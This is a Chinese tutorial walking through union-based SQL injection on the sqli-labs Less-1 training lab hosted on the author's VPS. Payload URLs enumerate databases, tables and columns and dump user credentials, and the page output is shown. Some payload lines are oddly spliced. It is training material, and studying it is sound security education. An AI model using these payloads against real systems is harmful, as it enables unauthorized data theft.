作者自己的VPS测试环境
1. sqli-less-1
http://106.54.35.126/Less-1/?id=1
判断是否存在sql注入
http://106.54.35.126/Less-1/?id=1'
http://106.54.35.126/Less-1/?id=1'or 1=1--+
判断目标有多少列,这里的order by是排序的作用
http://106.54.35.126/Less-1/?id=1'order by 3--+ 不报错
http://106.54.35.126/Less-1/?id=1'order by 4--+ 报错
根据上述就可以说明目标站点在使用的表里面只有3列
联合查询-union 作用就是将两个sql语句进行联合并执行,有一个要注意的点,union连接的前后两个sql语句选择的列是需要相同的,否则会报错,再说明下union all和union的区别就是增加了去重的功能
http://106.54.35.126/Less-1/?id=1'union select 1,22,24343--+
上述不管怎么select,只要保证只有3个数字位置即可,如果超过3个就会报错
如下:
http://106.54.35.126/Less-1/?id=1'union select 1,22,24343,55--+
上述查询是保证id是存在的情况下查询不报错,如果查询不存在,那么也不会报错,但是会爆出我们想要查询的内容,所以这里设置id=-1 看看
爆库
http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
获得如下信息:
Welcome Dhakkan
Your Login name:challenges,ctftraining,information_schema,mysql,performance_schema,security,test
Your Password:3
上述的查询语句原型如下:
SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
------------------------------------------------------------------------------
爆数据库security中的表
http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
获得如下表信息:
Welcome Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:3
上述查询语句的原型如下:
SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
-------------------------------------------------------------------------------
爆users表的列
http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
获得如下表的列
Welcome Dhakkan
Your Login name:id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
Your Password:3
上述原型查询语句如下:
SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
---------------------------------------------------------------------------
爆数据
http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+
获得如下数据:
Welcome Dhakkan
Your Login name:stupid
Your Password:stupidity
上述原型查询语句如下:
SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+ LIMIT 0,1
网友评论